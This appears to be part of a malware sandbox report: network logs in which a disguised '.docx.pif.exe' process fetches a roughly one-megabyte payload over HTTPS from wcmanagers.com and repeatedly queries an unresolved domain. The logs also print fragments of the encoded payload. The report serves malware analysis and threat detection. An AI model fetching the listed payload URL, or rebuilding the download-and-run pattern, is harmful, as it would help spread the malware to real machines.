Jul 3, 2024 08:59:48.295909882 CEST	192.168.2.7	1.1.1.1	0xcf8a	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:53.295419931 CEST	192.168.2.7	1.1.1.1	0x650	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:58.331558943 CEST	192.168.2.7	1.1.1.1	0xf35e	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:03.295896053 CEST	192.168.2.7	1.1.1.1	0xd7ec	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:08.295687914 CEST	192.168.2.7	1.1.1.1	0xe10	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:13.298487902 CEST	192.168.2.7	1.1.1.1	0x6cb	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:18.295538902 CEST	192.168.2.7	1.1.1.1	0x1ce0	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:23.295883894 CEST	192.168.2.7	1.1.1.1	0x3ba0	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:28.295654058 CEST	192.168.2.7	1.1.1.1	0xda09	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:33.321141005 CEST	192.168.2.7	1.1.1.1	0x2f0d	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:38.295638084 CEST	192.168.2.7	1.1.1.1	0x4beb	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:43.295831919 CEST	192.168.2.7	1.1.1.1	0xedb4	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:48.295692921 CEST	192.168.2.7	1.1.1.1	0x7473	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:53.295603037 CEST	192.168.2.7	1.1.1.1	0x2869	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:59.882762909 CEST	192.168.2.7	1.1.1.1	0x30e6	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 08:56:51.785564899 CEST	1.1.1.1	192.168.2.7	0xae16	No error (0)	wcmanagers.com		108.170.55.202	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:01.060977936 CEST	1.1.1.1	192.168.2.7	0xabba	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:06.166323900 CEST	1.1.1.1	192.168.2.7	0x42e3	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:11.242602110 CEST	1.1.1.1	192.168.2.7	0x68b0	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:16.382141113 CEST	1.1.1.1	192.168.2.7	0x4ec4	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:20.418603897 CEST	1.1.1.1	192.168.2.7	0xf0b1	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:25.465373039 CEST	1.1.1.1	192.168.2.7	0x7776	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:26.060957909 CEST	1.1.1.1	192.168.2.7	0xbf28	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jul 3, 2024 08:57:28.575367928 CEST	1.1.1.1	192.168.2.7	0x1c0d	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:33.648858070 CEST	1.1.1.1	192.168.2.7	0x4647	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:39.037692070 CEST	1.1.1.1	192.168.2.7	0x5004	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:43.461863041 CEST	1.1.1.1	192.168.2.7	0xda81	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:48.615583897 CEST	1.1.1.1	192.168.2.7	0x3f27	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:53.468645096 CEST	1.1.1.1	192.168.2.7	0xb1de	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:58.307159901 CEST	1.1.1.1	192.168.2.7	0x6185	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:03.319127083 CEST	1.1.1.1	192.168.2.7	0xb730	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:08.302874088 CEST	1.1.1.1	192.168.2.7	0x22ff	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:13.303615093 CEST	1.1.1.1	192.168.2.7	0xcc09	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:18.305335999 CEST	1.1.1.1	192.168.2.7	0x9f10	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:23.307399988 CEST	1.1.1.1	192.168.2.7	0x24e8	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:28.305159092 CEST	1.1.1.1	192.168.2.7	0x4004	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:33.340440989 CEST	1.1.1.1	192.168.2.7	0x7c0	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:38.306010962 CEST	1.1.1.1	192.168.2.7	0x8e2	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:43.309531927 CEST	1.1.1.1	192.168.2.7	0xa794	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:48.303158045 CEST	1.1.1.1	192.168.2.7	0xaccb	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:53.306932926 CEST	1.1.1.1	192.168.2.7	0x330e	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:58.305921078 CEST	1.1.1.1	192.168.2.7	0x7769	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:03.305491924 CEST	1.1.1.1	192.168.2.7	0xcd82	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:08.303704977 CEST	1.1.1.1	192.168.2.7	0xe0de	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:13.308562040 CEST	1.1.1.1	192.168.2.7	0xfdec	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:18.312145948 CEST	1.1.1.1	192.168.2.7	0x115d	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:23.303596020 CEST	1.1.1.1	192.168.2.7	0x9b22	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:28.303502083 CEST	1.1.1.1	192.168.2.7	0xffec	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:33.303508997 CEST	1.1.1.1	192.168.2.7	0xbef	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:38.303596973 CEST	1.1.1.1	192.168.2.7	0x77b5	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:43.428184032 CEST	1.1.1.1	192.168.2.7	0x30c8	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:48.360872984 CEST	1.1.1.1	192.168.2.7	0xcf8a	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:53.302922964 CEST	1.1.1.1	192.168.2.7	0x650	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:58.342658997 CEST	1.1.1.1	192.168.2.7	0xf35e	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:03.304307938 CEST	1.1.1.1	192.168.2.7	0xd7ec	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:08.303471088 CEST	1.1.1.1	192.168.2.7	0xe10	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:13.306945086 CEST	1.1.1.1	192.168.2.7	0x6cb	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:18.303373098 CEST	1.1.1.1	192.168.2.7	0x1ce0	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:23.583026886 CEST	1.1.1.1	192.168.2.7	0x3ba0	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:28.304403067 CEST	1.1.1.1	192.168.2.7	0xda09	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:33.329210043 CEST	1.1.1.1	192.168.2.7	0x2f0d	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:38.303339958 CEST	1.1.1.1	192.168.2.7	0x4beb	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:43.304078102 CEST	1.1.1.1	192.168.2.7	0xedb4	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:48.305927038 CEST	1.1.1.1	192.168.2.7	0x7473	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:53.303270102 CEST	1.1.1.1	192.168.2.7	0x2869	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 09:00:59.892136097 CEST	1.1.1.1	192.168.2.7	0x30e6	Name error (3)	www.vipguyclassproject2024.space	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wcmanagers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	108.170.55.202	443	4220	C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:56:52 UTC	167	OUT	GET /Er9/233_Pyemdbrdpps HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: wcmanagers.com
2024-07-03 06:56:52 UTC	365	IN	HTTP/1.1 200 OK Connection: close last-modified: Sun, 30 Jun 2024 22:39:58 GMT accept-ranges: bytes content-length: 1071492 date: Wed, 03 Jul 2024 06:56:52 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 58 47 68 6f 66 48 42 38 62 49 77 38 6a 46 69 59 50 45 78 49 69 44 78 45 6a 46 69 51 67 48 51 38 50 49 52 51 62 4a 79 63 53 47 52 34 6c 46 42 49 6e 4a 69 59 69 49 42 51 6a 48 78 4d 4f 4a 42 51 69 48 71 61 75 70 56 6b 6a 70 37 46 4c 2f 53 59 53 47 68 45 50 48 78 45 64 48 53 43 6d 72 71 56 5a 49 36 65 78 53 32 42 66 58 33 68 64 65 46 78 30 61 48 52 6a 63 32 68 6b 5a 33 64 6f 5a 6e 52 6a 64 58 6c 36 61 47 68 32 5a 56 78 77 63 47 64 65 65 33 4a 6c 5a 33 42 7a 63 33 64 35 5a 58 52 34 5a 47 74 31 5a 58 64 37 59 46 39 66 65 46 31 34 58 48 52 6f 64 47 4e 7a 61 47 52 6e 64 32 68 6d 64 47 4e 31 65 58 70 6f 61 48 5a 6c 58 48 42 77 5a 31 35 37 63 6d 56 6e 63 48 4e 7a 64 33 6c 6c 64 48 68 6b 61 33 56 6c 64 33 74 67 58 31 39 34 58 58 68 Data Ascii: pq6lWSOnsUsXGhofHB8bIw8jFiYPExIiDxEjFiQgHQ8PIRQbJycSGR4lFBInJiYiIBQjHxMOJBQiHqaupVkjp7FL/SYSGhEPHxEdHSCmrqVZI6exS2BfX3hdeFx0aHRjc2hkZ3doZnRjdXl6aGh2ZVxwcGdee3JlZ3Bzc3d5ZXR4ZGt1ZXd7YF9feF14XHRodGNzaGRnd2hmdGN1eXpoaHZlXHBwZ157cmVncHNzd3lldHhka3Vld3tgX194XXh
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 78 4c 61 72 46 70 49 67 4d 47 53 41 4b 44 63 37 77 2f 70 79 42 64 42 55 75 67 43 2b 73 45 4e 6d 2b 30 34 51 66 62 39 39 69 63 37 44 6d 38 53 5a 6d 45 43 75 43 44 47 42 51 73 6b 69 33 56 74 4c 39 59 74 37 77 76 78 67 75 47 4c 68 73 61 41 79 56 69 77 42 4c 68 6d 6e 41 32 6a 72 77 54 56 38 73 4c 56 70 71 4b 52 4b 62 35 75 63 64 6f 53 5a 39 51 39 62 64 33 52 54 36 6e 36 73 50 4e 51 50 72 68 6f 69 74 49 63 73 44 4e 59 72 65 4a 6f 62 4e 67 6b 6c 50 65 76 66 63 33 4f 55 66 34 59 70 4e 30 73 7a 74 5a 70 49 31 51 4e 73 6a 7a 30 67 6f 54 53 57 4a 65 6f 55 34 67 55 66 6a 56 42 2b 6a 2f 44 74 61 67 79 71 37 64 34 37 58 59 7a 63 75 31 48 46 4c 55 74 43 6d 53 73 58 44 35 58 35 44 65 37 4e 57 78 38 56 75 5a 68 79 46 62 39 34 32 6f 2b 6a 78 6c 72 43 4e 70 47 54 59 75 50 Data Ascii: xLarFpIgMGSAKDc7w/pyBdBUugC+sENm+04Qfb99ic7Dm8SZmECuCDGBQski3VtL9Yt7wvxguGLhsaAyViwBLhmnA2jrwTV8sLVpqKRKb5ucdoSZ9Q9bd3RT6n6sPNQPrhoitIcsDNYreJobNgklPevfc3OUf4YpN0sztZpI1QNsjz0goTSWJeoU4gUfjVB+j/Dtagyq7d47XYzcu1HFLUtCmSsXD5X5De7NWx8VuZhyFb942o+jxlrCNpGTYuP
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 6e 56 6d 62 59 46 45 79 44 58 4a 34 71 63 70 62 31 6c 76 31 79 78 67 70 35 37 47 35 37 55 35 54 5a 44 36 4c 6d 76 45 75 45 51 6b 4e 47 57 43 55 45 65 68 71 76 55 70 6c 68 63 77 52 78 31 30 30 70 33 45 4b 62 46 70 43 35 6e 6d 62 63 57 62 42 42 48 74 67 6a 7a 2f 55 41 63 71 6d 4e 68 6c 4b 54 59 6e 4f 63 4b 51 43 69 49 56 4c 34 6b 55 50 74 4b 51 71 6a 43 4b 4c 6c 66 6d 77 64 33 49 65 65 6a 47 44 75 5a 52 4d 63 56 54 49 59 41 4b 46 65 79 64 30 77 64 42 69 32 4f 49 64 52 50 35 59 37 52 65 4a 4a 46 36 74 4e 56 33 57 64 46 79 67 77 74 4b 47 77 74 35 43 42 69 56 39 73 69 33 43 59 36 53 2b 37 35 48 37 6a 38 66 32 32 79 48 48 50 45 69 4a 52 39 33 69 4a 42 6f 30 51 47 75 61 35 59 7a 4e 42 6e 43 69 31 56 79 68 67 35 2f 4d 57 30 30 59 4b 50 2b 2f 63 47 55 32 67 48 78 Data Ascii: nVmbYFEyDXJ4qcpb1lv1yxgp57G57U5TZD6LmvEuEQkNGWCUEehqvUplhcwRx100p3EKbFpC5nmbcWbBBHtgjz/UAcqmNhlKTYnOcKQCiIVL4kUPtKQqjCKLlfmwd3IeejGDuZRMcVTIYAKFeyd0wdBi2OIdRP5Y7ReJJF6tNV3WdFygwtKGwt5CBiV9si3CY6S+75H7j8f22yHHPEiJR93iJBo0QGua5YzNBnCi1Vyhg5/MW00YKP+/cGU2gHx
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 6b 6c 55 5a 4a 2b 5a 30 74 30 71 47 56 4e 51 74 57 43 43 57 43 4e 39 73 44 57 52 4f 6d 6d 6b 34 53 69 76 4c 4a 38 4c 6b 50 6f 77 58 4a 75 68 61 41 39 36 41 50 78 2b 6c 58 44 6e 4a 59 74 6e 69 36 49 55 58 67 59 71 72 4d 57 61 6d 31 58 2f 68 4e 41 57 6e 57 4a 6b 53 54 65 37 48 43 69 67 4e 74 2b 59 33 75 6e 6c 38 77 74 47 57 33 4c 30 30 71 56 4f 4f 39 42 43 37 4a 38 59 79 6d 71 44 44 72 66 72 41 72 69 51 76 34 4d 76 46 4d 42 75 41 4d 30 57 63 79 6d 33 4e 62 6a 78 71 78 63 78 4a 58 6b 44 56 4d 45 45 6e 56 44 69 59 50 35 4e 7a 70 47 63 76 6f 62 54 66 4f 67 6d 2b 79 47 31 62 33 73 34 4f 46 61 74 79 44 31 53 32 51 57 45 64 34 33 53 47 76 46 47 6a 53 4b 54 6b 2f 34 4a 64 54 55 31 74 57 6e 7a 35 4f 49 65 57 2b 39 2b 37 58 43 37 34 66 79 46 30 61 52 32 55 55 74 54 Data Ascii: klUZJ+Z0t0qGVNQtWCCWCN9sDWROmmk4SivLJ8LkPowXJuhaA96APx+lXDnJYtni6IUXgYqrMWam1X/hNAWnWJkSTe7HCigNt+Y3unl8wtGW3L00qVOO9BC7J8YymqDDrfrAriQv4MvFMBuAM0Wcym3NbjxqxcxJXkDVMEEnVDiYP5NzpGcvobTfOgm+yG1b3s4OFatyD1S2QWEd43SGvFGjSKTk/4JdTU1tWnz5OIeW+9+7XC74fyF0aR2UUtT
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 6b 4d 75 79 6f 4d 46 65 42 37 62 32 53 56 6f 77 46 55 42 68 39 39 53 52 30 38 75 76 34 2f 47 46 6e 4e 67 5a 36 75 78 66 36 78 6c 4f 47 69 7a 62 44 59 4f 75 67 70 49 46 6c 2f 63 6e 59 42 53 73 6b 65 64 7a 76 6c 79 4f 70 5a 66 33 4b 5a 6b 54 57 63 70 56 69 57 43 2f 73 5a 47 7a 2f 33 32 49 67 41 66 48 5a 78 4c 71 6d 62 35 4b 4b 43 6d 2b 6c 79 36 56 31 55 4f 54 6c 58 6f 33 6a 58 71 30 4a 69 4b 52 6a 58 62 49 4f 37 48 54 41 45 33 61 6f 73 62 44 38 64 31 74 78 37 45 6c 36 74 31 72 73 6c 73 6e 55 62 61 73 71 71 66 68 77 6c 6b 65 71 74 41 6d 34 78 77 36 35 30 4a 35 39 42 6f 4a 31 56 77 30 56 36 33 42 6f 4a 34 41 2f 30 31 69 6c 72 70 61 5a 50 38 44 43 4b 6d 77 74 75 49 50 42 6c 41 6d 74 6f 30 39 67 77 41 39 53 57 54 2f 57 75 57 6d 65 59 36 37 44 4f 6b 34 4c 2b 68 Data Ascii: kMuyoMFeB7b2SVowFUBh99SR08uv4/GFnNgZ6uxf6xlOGizbDYOugpIFl/cnYBSskedzvlyOpZf3KZkTWcpViWC/sZGz/32IgAfHZxLqmb5KKCm+ly6V1UOTlXo3jXq0JiKRjXbIO7HTAE3aosbD8d1tx7El6t1rslsnUbasqqfhwlkeqtAm4xw650J59BoJ1Vw0V63BoJ4A/01ilrpaZP8DCKmwtuIPBlAmto09gwA9SWT/WuWmeY67DOk4L+h
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 5a 75 6f 46 4b 6f 48 2b 71 6a 37 79 6c 43 74 2f 4a 66 55 61 32 45 48 58 4a 6d 31 38 67 54 73 39 77 78 52 64 70 76 59 30 54 35 43 70 65 77 49 56 61 73 52 78 4a 33 72 73 32 6f 75 38 78 71 50 5a 56 45 71 73 64 47 70 55 76 46 30 7a 4f 68 75 33 39 72 66 2f 30 68 43 66 31 70 62 74 71 59 6d 44 78 47 4e 5a 78 2f 48 6d 42 76 66 39 4a 77 31 36 43 48 70 34 72 69 46 74 62 71 4b 59 33 4e 59 56 31 61 6f 36 7a 67 78 35 6f 2b 6a 51 4d 4e 6d 69 72 77 42 6d 6f 44 6f 73 38 55 4a 6c 37 79 57 6e 49 53 4e 6e 57 6b 6e 46 51 38 52 31 6f 38 46 46 43 32 6e 55 6a 34 58 7a 6f 41 64 39 6a 75 6b 79 6e 32 6e 6f 57 2f 53 46 4f 77 51 66 4a 37 4b 71 49 46 4c 4d 47 5a 34 58 36 53 35 53 46 68 73 31 30 70 67 55 75 61 52 38 4b 6f 50 57 57 4d 61 58 46 45 31 35 34 45 46 71 43 6a 58 51 53 4f 4f Data Ascii: ZuoFKoH+qj7ylCt/JfUa2EHXJm18gTs9wxRdpvY0T5CpewIVasRxJ3rs2ou8xqPZVEqsdGpUvF0zOhu39rf/0hCf1pbtqYmDxGNZx/HmBvf9Jw16CHp4riFtbqKY3NYV1ao6zgx5o+jQMNmirwBmoDos8UJl7yWnISNnWknFQ8R1o8FFC2nUj4XzoAd9jukyn2noW/SFOwQfJ7KqIFLMGZ4X6S5SFhs10pgUuaR8KoPWWMaXFE154EFqCjXQSOO
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 58 42 55 6a 64 64 58 70 44 74 6a 6b 46 50 38 68 69 51 43 4a 78 36 4d 54 47 52 4e 61 2f 6a 4c 4d 6f 7a 56 59 6f 36 56 79 53 4f 78 2f 38 77 4e 67 4d 6e 6a 65 37 31 70 48 6d 54 44 68 7a 64 4f 55 6e 37 57 78 73 4f 56 69 63 61 79 75 4b 50 42 6b 6b 32 4d 61 57 52 63 6a 55 57 30 7a 4d 42 33 45 76 42 38 2b 59 31 61 41 5a 2b 5a 70 54 39 70 65 4b 79 4b 43 38 58 5a 35 45 4f 32 63 43 30 6b 59 77 64 4c 62 39 2f 62 5a 54 79 53 49 6c 50 5a 61 69 43 59 45 6f 44 66 48 77 54 36 52 66 43 64 73 51 6c 57 6c 58 72 32 30 47 51 70 6b 55 41 43 63 64 4e 61 55 78 63 4f 50 53 34 4d 6b 4a 55 6b 43 52 70 74 79 38 56 49 79 57 71 59 54 4a 4a 61 39 6f 43 4c 37 30 70 68 47 61 6a 79 69 44 79 31 42 44 41 65 4f 31 54 43 6f 75 76 66 4c 6b 67 37 58 39 38 46 33 41 59 76 77 36 73 72 42 46 77 2f Data Ascii: XBUjddXpDtjkFP8hiQCJx6MTGRNa/jLMozVYo6VySOx/8wNgMnje71pHmTDhzdOUn7WxsOVicayuKPBkk2MaWRcjUW0zMB3EvB8+Y1aAZ+ZpT9peKyKC8XZ5EO2cC0kYwdLb9/bZTySIlPZaiCYEoDfHwT6RfCdsQlWlXr20GQpkUACcdNaUxcOPS4MkJUkCRpty8VIyWqYTJJa9oCL70phGajyiDy1BDAeO1TCouvfLkg7X98F3AYvw6srBFw/
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 46 4a 62 46 4d 71 45 4a 4d 64 67 62 50 46 67 62 4f 4f 43 50 79 6e 76 79 37 35 6b 73 64 55 77 63 31 62 74 62 79 6e 5a 79 4d 54 73 52 6b 37 73 6c 68 65 6a 6b 50 32 6c 70 75 54 41 63 46 72 49 4e 55 49 67 32 57 47 75 70 69 30 69 4b 5a 4a 35 6a 79 45 51 35 50 42 35 7a 79 6c 43 70 45 6a 50 70 6f 76 50 56 63 4f 49 5a 61 6b 4e 69 52 58 47 32 51 69 41 75 56 62 63 75 49 33 6e 6a 4b 72 51 43 2b 76 38 52 72 39 51 43 61 4c 65 52 61 45 55 39 35 44 4e 2b 41 78 38 4d 48 73 64 6c 34 30 74 64 78 36 43 7a 73 33 4a 6d 6f 62 58 64 72 70 49 2b 4e 74 65 79 79 73 58 79 61 54 66 38 42 36 36 78 4e 51 71 53 37 2b 41 43 46 43 37 4d 46 74 57 71 63 49 33 66 43 52 77 31 32 68 62 2f 68 4f 57 51 42 44 4e 6a 45 63 47 51 72 79 76 38 4e 35 53 63 58 78 6f 6e 79 46 6a 6a 7a 4c 54 2f 37 2b 42 Data Ascii: FJbFMqEJMdgbPFgbOOCPynvy75ksdUwc1btbynZyMTsRk7slhejkP2lpuTAcFrINUIg2WGupi0iKZJ5jyEQ5PB5zylCpEjPpovPVcOIZakNiRXG2QiAuVbcuI3njKrQC+v8Rr9QCaLeRaEU95DN+Ax8MHsdl40tdx6Czs3JmobXdrpI+NteyysXyaTf8B66xNQqS7+ACFC7MFtWqcI3fCRw12hb/hOWQBDNjEcGQryv8N5ScXxonyFjjzLT/7+B
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 77 56 59 76 38 66 35 64 43 4e 30 71 45 63 62 70 59 61 6f 36 30 36 4a 46 53 2f 4f 35 58 31 2b 48 44 4a 6a 58 49 2b 54 52 75 76 79 74 30 41 49 79 79 64 50 67 54 2b 35 44 45 37 48 57 64 4c 47 4d 70 4f 58 4c 71 76 37 41 42 54 58 77 6e 31 6f 52 72 72 45 79 62 74 63 4c 73 4e 6f 30 76 6a 68 78 64 70 6f 68 57 36 57 6f 6f 77 4c 2b 39 4a 73 4d 39 6d 69 2f 6a 50 35 6b 36 75 45 51 61 4c 30 42 51 44 44 37 4c 31 71 72 55 7a 4a 66 64 37 36 42 64 75 7a 33 44 48 75 43 38 55 6b 30 2b 43 49 69 58 78 72 44 52 7a 35 34 6f 79 77 4c 4c 4f 70 4d 30 68 46 62 5a 6c 71 4a 75 6b 68 79 5a 4c 6c 48 50 58 4d 54 7a 70 2f 75 43 59 6d 4f 54 6f 38 6b 49 2b 73 63 73 36 4b 4a 2b 53 63 70 46 59 39 4a 37 30 61 48 58 62 31 4f 42 33 35 5a 4c 35 56 51 55 6b 49 4e 6c 4d 44 50 45 52 42 41 74 34 5a Data Ascii: wVYv8f5dCN0qEcbpYao606JFS/O5X1+HDJjXI+TRuvyt0AIyydPgT+5DE7HWdLGMpOXLqv7ABTXwn1oRrrEybtcLsNo0vjhxdpohW6WoowL+9JsM9mi/jP5k6uEQaL0BQDD7L1qrUzJfd76Bduz3DHuC8Uk0+CIiXxrDRz54oywLLOpM0hFbZlqJukhyZLlHPXMTzp/uCYmOTo8kI+scs6KJ+ScpFY9J70aHXb1OB35ZL5VQUkINlMDPERBAt4Z
2024-07-03 06:56:52 UTC	16384	IN	Data Raw: 41 44 48 73 73 73 4e 68 69 71 4f 34 70 48 31 76 53 4a 63 44 51 48 56 4e 2f 68 31 48 2f 49 75 48 65 76 79 37 4d 49 64 6a 38 63 70 42 4d 4f 41 79 31 48 74 6e 51 6c 67 59 77 6d 42 7a 38 6f 2f 43 79 70 7a 39 48 79 33 75 52 2f 42 78 54 4c 49 6e 4e 64 79 30 75 31 66 49 55 41 59 5a 41 45 77 37 58 53 58 56 55 2b 4e 31 74 34 51 42 57 2b 2b 7a 32 4e 39 35 62 31 68 69 6a 70 32 49 6d 48 58 34 41 62 47 68 6a 6e 78 64 56 69 74 6b 41 46 48 73 6e 46 32 73 68 62 50 47 31 4f 51 39 79 44 55 4b 2b 41 4d 42 35 64 69 4c 61 2f 5a 73 50 63 51 52 74 2b 39 39 57 63 51 6e 4e 78 6a 50 52 52 62 4d 75 34 34 43 47 43 75 69 5a 49 45 43 61 47 43 50 41 44 79 4e 73 61 48 68 45 46 45 62 47 56 68 47 34 78 4f 7a 49 50 38 7a 76 74 43 55 56 54 6d 51 4d 72 4d 4a 57 70 48 52 65 6a 36 53 4f 36 74 Data Ascii: ADHsssNhiqO4pH1vSJcDQHVN/h1H/IuHevy7MIdj8cpBMOAy1HtnQlgYwmBz8o/Cypz9Hy3uR/BxTLInNdy0u1fIUAYZAEw7XSXVU+N1t4QBW++z2N95b1hijp2ImHX4AbGhjnxdVitkAFHsnF2shbPG1OQ9yDUK+AMB5diLa/ZsPcQRt+99WcQnNxjPRRbMu44CGCuiZIECaGCPADyNsaHhEFEbGVhG4xOzIP8zvtCUVTmQMrMJWpHRej6SO6t

Target ID:	0
